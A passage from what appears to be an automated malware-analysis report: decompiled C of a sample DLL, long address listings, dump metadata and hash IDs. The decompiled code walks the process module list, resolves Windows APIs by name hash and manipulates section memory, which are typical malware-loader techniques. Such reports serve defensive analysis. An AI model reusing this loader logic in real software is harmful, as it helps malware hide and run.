                                                                                                      						_t321 = _t250 & 0x000000fe;
                                                                                                      					} else {
                                                                                                      						_t413 = _t427[8];
                                                                                                      						_t427[8] = _t412 + 0x1cb;
                                                                                                      					}
                                                                                                      					while(_t413 != _t427[8]) {
                                                                                                      						if(_t321 ==  *_t413) {
                                                                                                      							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
                                                                                                      								goto L52;
                                                                                                      							}
                                                                                                      							goto L51;
                                                                                                      						}
                                                                                                      						_t413 = _t413 + 2;
                                                                                                      					}
                                                                                                      					goto L51;
                                                                                                      				}
                                                                                                      			}






































































                                                                                                      0x6ec49377
                                                                                                      0x6ec4937b
                                                                                                      0x6ec49387
                                                                                                      0x6ec4938b
                                                                                                      0x6ec4938f
                                                                                                      0x6ec49394
                                                                                                      0x6ec49397
                                                                                                      0x6ec49399
                                                                                                      0x6ec4939b
                                                                                                      0x6ec4939b
                                                                                                      0x6ec4939e
                                                                                                      0x6ec493a4
                                                                                                      0x6ec4941c
                                                                                                      0x6ec49420
                                                                                                      0x6ec49423
                                                                                                      0x6ec49423
                                                                                                      0x6ec49426
                                                                                                      0x00000000
                                                                                                      0x6ec49426
                                                                                                      0x6ec493ab
                                                                                                      0x6ec49413
                                                                                                      0x6ec49417
                                                                                                      0x00000000
                                                                                                      0x6ec49417
                                                                                                      0x6ec493b2
                                                                                                      0x6ec4940b
                                                                                                      0x6ec4940e
                                                                                                      0x00000000
                                                                                                      0x6ec4940e
                                                                                                      0x6ec493b7
                                                                                                      0x6ec493f5
                                                                                                      0x6ec493fc
                                                                                                      0x6ec493ff
                                                                                                      0x6ec493c8
                                                                                                      0x6ec493c8
                                                                                                      0x6ec493ce
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec493d3
                                                                                                      0x6ec493ed
                                                                                                      0x6ec493f0
                                                                                                      0x00000000
                                                                                                      0x6ec493f0
                                                                                                      0x6ec493d8
                                                                                                      0x00000000
                                                                                                      0x6ec493da
                                                                                                      0x6ec493de
                                                                                                      0x6ec493e1
                                                                                                      0x00000000
                                                                                                      0x6ec493e1
                                                                                                      0x6ec493d8
                                                                                                      0x6ec49429
                                                                                                      0x6ec49429
                                                                                                      0x6ec49429
                                                                                                      0x6ec49432
                                                                                                      0x6ec4943b
                                                                                                      0x6ec4943e
                                                                                                      0x6ec49441
                                                                                                      0x6ec49444
                                                                                                      0x6ec49447
                                                                                                      0x6ec4944d
                                                                                                      0x6ec4948f
                                                                                                      0x6ec49492
                                                                                                      0x6ec49493
                                                                                                      0x6ec4949a
                                                                                                      0x6ec4949d
                                                                                                      0x6ec4944f
                                                                                                      0x6ec49453
                                                                                                      0x6ec4945d
                                                                                                      0x6ec49464
                                                                                                      0x6ec49466
                                                                                                      0x6ec4947f
                                                                                                      0x6ec49482
                                                                                                      0x6ec49482
                                                                                                      0x6ec49464
                                                                                                      0x6ec494a5
                                                                                                      0x6ec494a8
                                                                                                      0x6ec494ab
                                                                                                      0x6ec494af
                                                                                                      0x6ec494b3
                                                                                                      0x6ec494bd
                                                                                                      0x6ec494c1
                                                                                                      0x6ec494cb
                                                                                                      0x6ec494d4
                                                                                                      0x6ec494e1
                                                                                                      0x6ec494e4
                                                                                                      0x6ec494e7
                                                                                                      0x6ec494e7
                                                                                                      0x6ec494f3
                                                                                                      0x6ec494fe
                                                                                                      0x6ec49504
                                                                                                      0x6ec49508
                                                                                                      0x6ec494f5
                                                                                                      0x6ec494f5
                                                                                                      0x6ec494f5
                                                                                                      0x6ec49510
                                                                                                      0x6ec4953a
                                                                                                      0x6ec49540
                                                                                                      0x6ec49540
                                                                                                      0x6ec49548
                                                                                                      0x6ec498f1
                                                                                                      0x6ec498f7
                                                                                                      0x6ec498fd
                                                                                                      0x6ec498fd
                                                                                                      0x00000000
                                                                                                      0x6ec4954e
                                                                                                      0x6ec4954e
                                                                                                      0x6ec49552
                                                                                                      0x6ec49555
                                                                                                      0x6ec49558
                                                                                                      0x6ec4955b
                                                                                                      0x6ec4955f
                                                                                                      0x6ec49561
                                                                                                      0x6ec49564
                                                                                                      0x6ec49567
                                                                                                      0x6ec4956b
                                                                                                      0x6ec49570
                                                                                                      0x6ec49573
                                                                                                      0x6ec49577
                                                                                                      0x6ec4957c
                                                                                                      0x6ec4957f
                                                                                                      0x6ec49581
                                                                                                      0x6ec49584
                                                                                                      0x6ec49588
                                                                                                      0x6ec4958d
                                                                                                      0x6ec4959d
                                                                                                      0x6ec495a3
                                                                                                      0x6ec495a3
                                                                                                      0x6ec495ab
                                                                                                      0x6ec495ad
                                                                                                      0x6ec495b6
                                                                                                      0x6ec495b8
                                                                                                      0x6ec495bb
                                                                                                      0x6ec495c6
                                                                                                      0x6ec495f3
                                                                                                      0x6ec495c8
                                                                                                      0x6ec495df
                                                                                                      0x6ec495df
                                                                                                      0x6ec495fb
                                                                                                      0x6ec49601
                                                                                                      0x6ec49607
                                                                                                      0x6ec49607
                                                                                                      0x6ec495fb
                                                                                                      0x6ec495b6
                                                                                                      0x6ec4960e
                                                                                                      0x6ec4967f
                                                                                                      0x6ec49684
                                                                                                      0x6ec496dd
                                                                                                      0x6ec4979f
                                                                                                      0x6ec497a4
                                                                                                      0x6ec497b3
                                                                                                      0x6ec497b9
                                                                                                      0x6ec497bd
                                                                                                      0x6ec497c6
                                                                                                      0x6ec497cd
                                                                                                      0x6ec497d6
                                                                                                      0x6ec497e4
                                                                                                      0x6ec497e7
                                                                                                      0x6ec497cf
                                                                                                      0x6ec497cf
                                                                                                      0x6ec497cf
                                                                                                      0x6ec497cd
                                                                                                      0x6ec497f0
                                                                                                      0x6ec4981d
                                                                                                      0x6ec49830
                                                                                                      0x6ec49838
                                                                                                      0x6ec4981f
                                                                                                      0x6ec49821
                                                                                                      0x6ec49829
                                                                                                      0x6ec49829
                                                                                                      0x6ec497f2
                                                                                                      0x6ec497f7
                                                                                                      0x6ec49816
                                                                                                      0x6ec497f9
                                                                                                      0x6ec497fe
                                                                                                      0x6ec4980f
                                                                                                      0x6ec49800
                                                                                                      0x6ec49800
                                                                                                      0x6ec49800
                                                                                                      0x6ec497fe
                                                                                                      0x6ec497f7
                                                                                                      0x6ec49840
                                                                                                      0x6ec4984f
                                                                                                      0x6ec4985c
                                                                                                      0x6ec49865
                                                                                                      0x6ec49869
                                                                                                      0x6ec4986d
                                                                                                      0x6ec49870
                                                                                                      0x6ec49873
                                                                                                      0x6ec49876
                                                                                                      0x6ec49879
                                                                                                      0x6ec4987c
                                                                                                      0x6ec49882
                                                                                                      0x6ec49886
                                                                                                      0x6ec4988c
                                                                                                      0x6ec4988c
                                                                                                      0x6ec49882
                                                                                                      0x6ec49892
                                                                                                      0x6ec498cf
                                                                                                      0x6ec498d3
                                                                                                      0x6ec498da
                                                                                                      0x6ec498e0
                                                                                                      0x6ec49894
                                                                                                      0x6ec49897
                                                                                                      0x6ec498b7
                                                                                                      0x6ec498bb
                                                                                                      0x6ec498c2
                                                                                                      0x6ec498c9
                                                                                                      0x6ec49899
                                                                                                      0x6ec4989c
                                                                                                      0x6ec4989e
                                                                                                      0x6ec498a2
                                                                                                      0x6ec498ac
                                                                                                      0x6ec498b2
                                                                                                      0x6ec498b2
                                                                                                      0x6ec4989c
                                                                                                      0x6ec49897
                                                                                                      0x6ec498e7
                                                                                                      0x6ec498e7
                                                                                                      0x6ec49900
                                                                                                      0x6ec49900
                                                                                                      0x6ec49906
                                                                                                      0x6ec4990b
                                                                                                      0x6ec49965
                                                                                                      0x6ec4996a
                                                                                                      0x6ec499a9
                                                                                                      0x6ec499ae
                                                                                                      0x6ec499b0
                                                                                                      0x6ec499b4
                                                                                                      0x6ec499b7
                                                                                                      0x6ec499ba
                                                                                                      0x6ec499bc
                                                                                                      0x6ec499bd
                                                                                                      0x6ec499bd
                                                                                                      0x6ec499c2
                                                                                                      0x6ec499e0
                                                                                                      0x6ec499e2
                                                                                                      0x6ec499e6
                                                                                                      0x6ec499ec
                                                                                                      0x6ec499ef
                                                                                                      0x6ec499f1
                                                                                                      0x6ec499f2
                                                                                                      0x6ec499f2
                                                                                                      0x00000000
                                                                                                      0x6ec499c4
                                                                                                      0x6ec499c4
                                                                                                      0x6ec499c4
                                                                                                      0x6ec499c8
                                                                                                      0x6ec499ce
                                                                                                      0x6ec499d1
                                                                                                      0x6ec499d3
                                                                                                      0x6ec499d6
                                                                                                      0x6ec499f5
                                                                                                      0x6ec499f5
                                                                                                      0x6ec499fc
                                                                                                      0x6ec49a16
                                                                                                      0x6ec499fe
                                                                                                      0x6ec499fe
                                                                                                      0x6ec49a0a
                                                                                                      0x6ec49a0b
                                                                                                      0x6ec49a0e
                                                                                                      0x6ec49a0e
                                                                                                      0x6ec49a24
                                                                                                      0x6ec49a24
                                                                                                      0x6ec499c2
                                                                                                      0x6ec4996f
                                                                                                      0x6ec4997d
                                                                                                      0x6ec49995
                                                                                                      0x6ec49999
                                                                                                      0x6ec4999c
                                                                                                      0x6ec499a2
                                                                                                      0x6ec499a6
                                                                                                      0x6ec499a6
                                                                                                      0x00000000
                                                                                                      0x6ec499a6
                                                                                                      0x6ec4997f
                                                                                                      0x6ec49983
                                                                                                      0x6ec49989
                                                                                                      0x6ec49989
                                                                                                      0x6ec4998f
                                                                                                      0x00000000
                                                                                                      0x6ec4998f
                                                                                                      0x6ec49971
                                                                                                      0x6ec49975
                                                                                                      0x00000000
                                                                                                      0x6ec49975
                                                                                                      0x6ec4990f
                                                                                                      0x6ec4993b
                                                                                                      0x6ec49953
                                                                                                      0x6ec49957
                                                                                                      0x6ec4995a
                                                                                                      0x6ec4995d
                                                                                                      0x6ec4995f
                                                                                                      0x6ec49962
                                                                                                      0x6ec4993d
                                                                                                      0x6ec4993d
                                                                                                      0x6ec49941
                                                                                                      0x6ec49944
                                                                                                      0x6ec49947
                                                                                                      0x6ec4994a
                                                                                                      0x6ec4994d
                                                                                                      0x6ec4994d
                                                                                                      0x00000000
                                                                                                      0x6ec4993b
                                                                                                      0x6ec49915
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4991b
                                                                                                      0x6ec4991f
                                                                                                      0x6ec49925
                                                                                                      0x6ec49928
                                                                                                      0x6ec4992b
                                                                                                      0x6ec4992e
                                                                                                      0x00000000
                                                                                                      0x6ec4992e
                                                                                                      0x6ec497a6
                                                                                                      0x6ec497aa
                                                                                                      0x6ec497b0
                                                                                                      0x00000000
                                                                                                      0x6ec497b0
                                                                                                      0x6ec496e8
                                                                                                      0x6ec496fa
                                                                                                      0x6ec496ff
                                                                                                      0x6ec4976a
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49771
                                                                                                      0x6ec49797
                                                                                                      0x6ec4979b
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4977a
                                                                                                      0x6ec4977f
                                                                                                      0x6ec49793
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49795
                                                                                                      0x6ec49786
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4978b
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4978d
                                                                                                      0x00000000
                                                                                                      0x6ec49771
                                                                                                      0x6ec49701
                                                                                                      0x6ec4970b
                                                                                                      0x6ec4971c
                                                                                                      0x6ec4971f
                                                                                                      0x6ec49722
                                                                                                      0x6ec49728
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4972e
                                                                                                      0x6ec4972e
                                                                                                      0x6ec4972e
                                                                                                      0x6ec49735
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49737
                                                                                                      0x6ec4973a
                                                                                                      0x6ec49740
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49742
                                                                                                      0x6ec49744
                                                                                                      0x6ec4974d
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49761
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49763
                                                                                                      0x6ec496ef
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec496f5
                                                                                                      0x6ec49689
                                                                                                      0x6ec496b8
                                                                                                      0x6ec496b9
                                                                                                      0x6ec496c2
                                                                                                      0x00000000
                                                                                                      0x6ec496d3
                                                                                                      0x00000000
                                                                                                      0x6ec496d3
                                                                                                      0x6ec49690
                                                                                                      0x6ec49693
                                                                                                      0x6ec496a6
                                                                                                      0x6ec496a7
                                                                                                      0x6ec496ab
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49693
                                                                                                      0x6ec49689
                                                                                                      0x6ec49615
                                                                                                      0x6ec49672
                                                                                                      0x6ec49676
                                                                                                      0x6ec4967c
                                                                                                      0x00000000
                                                                                                      0x6ec4967c
                                                                                                      0x6ec49617
                                                                                                      0x6ec4961b
                                                                                                      0x6ec49628
                                                                                                      0x6ec4962c
                                                                                                      0x6ec49642
                                                                                                      0x6ec4964a
                                                                                                      0x6ec4962e
                                                                                                      0x6ec49630
                                                                                                      0x6ec4963a
                                                                                                      0x6ec4963a
                                                                                                      0x6ec49650
                                                                                                      0x6ec49659
                                                                                                      0x6ec49670
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec49670
                                                                                                      0x6ec4965b
                                                                                                      0x6ec4965b
                                                                                                      0x00000000
                                                                                                      0x6ec49650

                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID: 0-3916222277
                                                                                                      • Opcode ID: 407fd4848e5b307e07d906eea16bb6147e298fc8bb87a15a6d3895badca8086c
                                                                                                      • Instruction ID: 26407f7cb7f16e7f7653b91282ffcf6823873891a594cbd7c20a4b8e69cf14a3
                                                                                                      • Opcode Fuzzy Hash: 407fd4848e5b307e07d906eea16bb6147e298fc8bb87a15a6d3895badca8086c
                                                                                                      • Instruction Fuzzy Hash: 442293314083ABCFD755CF5AC5A136ABBF0BF86304F00896DE8E54B299E3359945CB92
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 90%
                                                                                                      			E6EC4143C(signed char __eax, signed char __edx) {
                                                                                                      				void* __ebx;
                                                                                                      				void* __esi;
                                                                                                      				void* __ebp;
                                                                                                      				signed char _t231;
                                                                                                      				signed char _t233;
                                                                                                      				signed char _t238;
                                                                                                      				intOrPtr _t241;
                                                                                                      				void* _t246;
                                                                                                      				signed char _t257;
                                                                                                      				signed char _t261;
                                                                                                      				signed char _t269;
                                                                                                      				signed char _t270;
                                                                                                      				signed char _t277;
                                                                                                      				signed int _t279;
                                                                                                      				signed char _t280;
                                                                                                      				signed char _t281;
                                                                                                      				void* _t289;
                                                                                                      				void* _t290;
                                                                                                      				signed char _t315;
                                                                                                      				void* _t319;
                                                                                                      				signed char _t334;
                                                                                                      				signed char _t336;
                                                                                                      				void* _t341;
                                                                                                      				void* _t347;
                                                                                                      				intOrPtr _t352;
                                                                                                      				signed char _t354;
                                                                                                      				signed char _t363;
                                                                                                      				void* _t369;
                                                                                                      				intOrPtr _t371;
                                                                                                      				signed short* _t373;
                                                                                                      				void _t375;
                                                                                                      				void* _t379;
                                                                                                      				signed int _t381;
                                                                                                      				void* _t382;
                                                                                                      				void** _t383;
                                                                                                      				void* _t384;
                                                                                                      				char* _t387;
                                                                                                      				signed char _t395;
                                                                                                      				signed char* _t396;
                                                                                                      				intOrPtr _t400;
                                                                                                      				signed int _t451;
                                                                                                      				intOrPtr* _t455;
                                                                                                      				signed char _t456;
                                                                                                      				signed int _t462;
                                                                                                      				void* _t467;
                                                                                                      				signed char _t471;
                                                                                                      				signed char _t472;
                                                                                                      				signed char* _t477;
                                                                                                      				signed char _t487;
                                                                                                      				signed int _t490;
                                                                                                      				intOrPtr* _t496;
                                                                                                      				intOrPtr _t497;
                                                                                                      				signed char _t498;
                                                                                                      				signed char _t499;
                                                                                                      				intOrPtr _t500;
                                                                                                      				signed char _t508;
                                                                                                      				intOrPtr _t510;
                                                                                                      				void* _t513;
                                                                                                      				signed char _t519;
                                                                                                      				intOrPtr* _t524;
                                                                                                      				signed char _t525;
                                                                                                      				signed char _t526;
                                                                                                      				signed char _t527;
                                                                                                      				signed char _t529;
                                                                                                      				signed char* _t531;
                                                                                                      				signed char _t532;
                                                                                                      				void* _t533;
                                                                                                      				void* _t534;
                                                                                                      				signed char* _t535;
                                                                                                      
                                                                                                      				_t535[0x54] = __edx;
                                                                                                      				 *_t535 = __eax;
                                                                                                      				_t231 = E6EC40304(__edx, 1);
                                                                                                      				if(_t231 != 0) {
                                                                                                      					return _t231;
                                                                                                      				}
                                                                                                      				_t535[0x2c] = _t231;
                                                                                                      				if( *0x6ec4d208 == 0 ||  *0x6ec4d2e4 != 0) {
                                                                                                      					L44:
                                                                                                      					if( *_t535 == 0) {
                                                                                                      						return 0;
                                                                                                      					}
                                                                                                      					_t233 =  *_t535;
                                                                                                      					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
                                                                                                      					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
                                                                                                      					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
                                                                                                      					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
                                                                                                      					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
                                                                                                      					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
                                                                                                      						L77:
                                                                                                      						 *_t535 = 0;
                                                                                                      						_t535[0x2c] = 0;
                                                                                                      						L78:
                                                                                                      						return  *_t535;
                                                                                                      					}
                                                                                                      					_t535[0x12c] = 0;
                                                                                                      					_t535[0x174] = _t535[0x54] ^ 0xe462d21c;
                                                                                                      					do {
                                                                                                      						_t467 = 0;
                                                                                                      						_t387 =  *_t524 +  *_t535;
                                                                                                      						_t238 =  *_t387;
                                                                                                      						_t535[0x58] = _t238;
                                                                                                      						if(_t238 == 0) {
                                                                                                      							L49:
                                                                                                      							if(E6EC44FFC( &(_t535[0x58]), _t467) == _t535[0x174]) {
                                                                                                      								_t535[0x2c] = 0;
                                                                                                      								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
                                                                                                      								__eflags = _t241 - _t510;
                                                                                                      								if(_t241 < _t510) {
                                                                                                      									L57:
                                                                                                      									_t471 =  *_t535 + _t241;
                                                                                                      									__eflags = _t471;
                                                                                                      									 *_t535 = _t471;
                                                                                                      									_t535[0x2c] = _t471;
                                                                                                      									L58:
                                                                                                      									__eflags =  *_t535;
                                                                                                      									if( *_t535 == 0) {
                                                                                                      										goto L78;
                                                                                                      									}
                                                                                                      									__eflags =  *0x6ec4d2f0 |  *0x6ec4d2f1;
                                                                                                      									if(( *0x6ec4d2f0 |  *0x6ec4d2f1) == 0) {
                                                                                                      										_t525 =  *0x6ec4d208; // 0x2a01340
                                                                                                      										__eflags = _t525;
                                                                                                      										if(_t525 == 0) {
                                                                                                      											 *0x6ec4d2f0 = 1;
                                                                                                      											_t526 = E6EC4361C(0x1c4);
                                                                                                      											__eflags = _t526;
                                                                                                      											if(_t526 == 0) {
                                                                                                      												_t526 = 0;
                                                                                                      												__eflags = 0;
                                                                                                      											} else {
                                                                                                      												E6EC41C30(_t526, 0x10);
                                                                                                      												 *(_t526 + 0x1c0) = 0;
                                                                                                      											}
                                                                                                      											 *0x6ec4d208 = _t526;
                                                                                                      											 *0x6ec4d2f0 = 0;
                                                                                                      											L68:
                                                                                                      											_t246 = 0;
                                                                                                      											_t472 = 0;
                                                                                                      											__eflags = 0;
                                                                                                      											while(1) {
                                                                                                      												__eflags =  *(_t472 + _t526 + 8);
                                                                                                      												if( *(_t472 + _t526 + 8) == 0) {
                                                                                                      													break;
                                                                                                      												}
                                                                                                      												_t246 = _t246 + 1;
                                                                                                      												_t472 = _t472 + 0x1c;
                                                                                                      												__eflags = _t246 - 0x10;
                                                                                                      												if(_t246 < 0x10) {
                                                                                                      													continue;
                                                                                                      												}
                                                                                                      												_t375 = E6EC4361C(0x1c4);
                                                                                                      												__eflags = _t375;
                                                                                                      												if(_t375 == 0) {
                                                                                                      													_t375 = 0;
                                                                                                      													__eflags = 0;
                                                                                                      												} else {
                                                                                                      													E6EC41C30(_t375, 0x10);
                                                                                                      													 *(_t375 + 0x1c0) = 0;
                                                                                                      												}
                                                                                                      												 *(_t375 + 0x14) = _t535[0x2c];
                                                                                                      												E6EC3DFC0(_t375,  &(_t535[0x58]));
                                                                                                      												 *(_t375 + 8) = _t535[0x54];
                                                                                                      												 *(_t526 + 0x1c0) = _t375;
                                                                                                      												L76:
                                                                                                      												 *_t535 = _t535[0x2c];
                                                                                                      												goto L78;
                                                                                                      											}
                                                                                                      											_t527 = _t526 + _t472;
                                                                                                      											__eflags = _t527;
                                                                                                      											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
                                                                                                      											E6EC3DFC0(_t527,  &(_t535[0x58]));
                                                                                                      											 *(_t527 + 8) = _t535[0x54];
                                                                                                      											goto L76;
                                                                                                      										}
                                                                                                      										_t257 =  *(_t525 + 0x1c0);
                                                                                                      										while(1) {
                                                                                                      											__eflags = _t257;
                                                                                                      											if(_t257 == 0) {
                                                                                                      												goto L68;
                                                                                                      											}
                                                                                                      											_t526 = _t257;
                                                                                                      											_t257 =  *(_t257 + 0x1c0);
                                                                                                      										}
                                                                                                      										goto L68;
                                                                                                      									}
                                                                                                      									__eflags = _t535[0x54] - 0x1c6ef387;
                                                                                                      									if(_t535[0x54] == 0x1c6ef387) {
                                                                                                      										 *0x6ec4d20c =  *_t535;
                                                                                                      									} else {
                                                                                                      										__eflags = _t535[0x54] - 0x45b68b68;
                                                                                                      										if(_t535[0x54] == 0x45b68b68) {
                                                                                                      											 *0x6ec4d210 =  *_t535;
                                                                                                      										}
                                                                                                      									}
                                                                                                      									goto L78;
                                                                                                      								}
                                                                                                      								__eflags = _t241 - _t535[0x130];
                                                                                                      								if(_t241 >= _t535[0x130]) {
                                                                                                      									goto L57;
                                                                                                      								}
                                                                                                      								_t535[0x130] =  &(_t535[0x58]);
                                                                                                      								_t261 = E6EC3E8A8( &(_t535[0x58]), 0x7fffffff);
                                                                                                      								_t477 =  &(_t535[0x12c]);
                                                                                                      								 *_t477 = _t261;
                                                                                                      								_t477[2] = _t261 + 1;
                                                                                                      								_t395 = E6EC4306C(0x60a28c5c, 0x522ec1f2, 0x60a28c5c, 0x60a28c5c);
                                                                                                      								__eflags = _t395;
                                                                                                      								if(_t395 != 0) {
                                                                                                      									_t202 =  &(_t535[0x12c]); // 0x100
                                                                                                      									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
                                                                                                      								}
                                                                                                      								 *_t535 = _t535[0x2c];
                                                                                                      								goto L58;
                                                                                                      							}
                                                                                                      							goto L50;
                                                                                                      						} else {
                                                                                                      							goto L48;
                                                                                                      						}
                                                                                                      						do {
                                                                                                      							L48:
                                                                                                      							_t467 = _t467 + 1;
                                                                                                      							_t270 =  *((intOrPtr*)(_t467 + _t387));
                                                                                                      							_t535[_t467 + 0x58] = _t270;
                                                                                                      						} while (_t270 != 0);
                                                                                                      						goto L49;
                                                                                                      						L50:
                                                                                                      						_t524 = _t524 + 4;
                                                                                                      						_t396 =  &(_t535[0x12c]);
                                                                                                      						_t373 =  &(_t373[1]);
                                                                                                      						_t269 =  *_t396 + 1;
                                                                                                      						 *_t396 = _t269;
                                                                                                      					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
                                                                                                      					goto L77;
                                                                                                      				} else {
                                                                                                      					_t535[0x30] = 0;
                                                                                                      					 *0x6ec4d2e4 = 1;
                                                                                                      					E6EC3F584( &(_t535[0x38]), 0);
                                                                                                      					E6EC3F584( &(_t535[0x168]), 0x1c);
                                                                                                      					_t535[0x58] = E6EC3F4BC( &(_t535[0x168]), 0);
                                                                                                      					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
                                                                                                      					_t535[0x48] =  *(_t400 + 0xc);
                                                                                                      					_t535[0x60] =  *(_t400 + 0x10);
                                                                                                      					goto L5;
                                                                                                      					L6:
                                                                                                      					_t384 = 0;
                                                                                                      					do {
                                                                                                      						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
                                                                                                      							goto L13;
                                                                                                      						}
                                                                                                      						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
                                                                                                      						_t496 = E6EC4306C(0x60a28c5c, 0xe7942190, _t279, _t279);
                                                                                                      						if(_t496 == 0) {
                                                                                                      							L10:
                                                                                                      							_t456 = _t535[0x50];
                                                                                                      							_t497 =  *((intOrPtr*)(_t529 + 0xc));
                                                                                                      							_t498 = _t497 + _t456;
                                                                                                      							_t500 =  *((intOrPtr*)(_t529 + 8));
                                                                                                      							_t535[0x28] = _t498;
                                                                                                      							_t499 = _t498 + _t500;
                                                                                                      							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
                                                                                                      							_t535[0x24] = _t529;
                                                                                                      							_t535[0x20] =  *(_t535[0x48] + 0x30);
                                                                                                      							if((_t499 & 0x00000003) == 0) {
                                                                                                      								L12:
                                                                                                      								_t535[0x1c] = _t363;
                                                                                                      								_t535[0x18] = _t499;
                                                                                                      								E6EC3F828( &(_t535[0xc]), E6EC3F4CC( &(_t535[8])) + 0x14);
                                                                                                      								_t369 = E6EC3F4BC( &(_t535[0xc]), E6EC3F4CC( &(_t535[8])) + 0xffffffec);
                                                                                                      								_t462 = 5;
                                                                                                      								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
                                                                                                      								_t535 =  &(_t535[0xc]);
                                                                                                      								_t535[4] = _t535[4] + 1;
                                                                                                      								goto L13;
                                                                                                      							} else {
                                                                                                      								goto L11;
                                                                                                      							}
                                                                                                      							do {
                                                                                                      								L11:
                                                                                                      								_t499 = _t499 + 1;
                                                                                                      								_t363 = _t363 - 1;
                                                                                                      							} while ((_t499 & 0x00000003) != 0);
                                                                                                      							goto L12;
                                                                                                      						}
                                                                                                      						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
                                                                                                      						if(0 < 0) {
                                                                                                      							goto L13;
                                                                                                      						}
                                                                                                      						goto L10;
                                                                                                      						L13:
                                                                                                      						_t384 = _t384 + 1;
                                                                                                      						_t529 = _t529 + 0x28;
                                                                                                      					} while (_t384 < _t535[0x5c]);
                                                                                                      					L14:
                                                                                                      					_t280 = _t535[4];
                                                                                                      					_t535[0x44] = _t280;
                                                                                                      					if(_t280 <= 1) {
                                                                                                      						L21:
                                                                                                      						if(_t535[0x44] <= 0) {
                                                                                                      							L24:
                                                                                                      							_t281 = _t535[0x48];
                                                                                                      							_t556 = _t281 - _t535[0x60];
                                                                                                      							if(_t281 != _t535[0x60]) {
                                                                                                      								_t535[0x48] =  *_t281;
                                                                                                      								E6EC3F654( &(_t535[8]));
                                                                                                      								L5:
                                                                                                      								_t277 =  *(_t535[0x48] + 0x18);
                                                                                                      								_t535[0x50] = _t277;
                                                                                                      								_t535[4] = 0;
                                                                                                      								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
                                                                                                      								E6EC3F584( &(_t535[0xc]), 0);
                                                                                                      								_t279 =  *(_t379 + 6) & 0x0000ffff;
                                                                                                      								_t535[0x5c] = _t279;
                                                                                                      								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
                                                                                                      								if(_t279 <= 0) {
                                                                                                      									goto L14;
                                                                                                      								}
                                                                                                      								goto L6;
                                                                                                      							}
                                                                                                      							E6EC3F654( &(_t535[8]));
                                                                                                      							E6EC3F654( &(_t535[0x164]));
                                                                                                      							E6EC3F584( &(_t535[0x48]), 0);
                                                                                                      							_t535[0x18] = 0;
                                                                                                      							E6EC3F584( &(_t535[0x20]), 0);
                                                                                                      							_push(0x60a28c5c);
                                                                                                      							_t289 = E6EC41D34(0x60a28c5c);
                                                                                                      							_t290 = E6EC412EC( &(_t535[0x154]), _t517, _t556);
                                                                                                      							_push(_t290);
                                                                                                      							_push(_t290);
                                                                                                      							E6EC41C6C( &(_t535[0x164]), 0x60a28c5c);
                                                                                                      							_t518 =  &(_t535[0x178]);
                                                                                                      							E6EC3D014( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
                                                                                                      							_push(0x80);
                                                                                                      							_push(0);
                                                                                                      							E6EC45CD4( &(_t535[0x114]), _t556, _t535[0x184], 1);
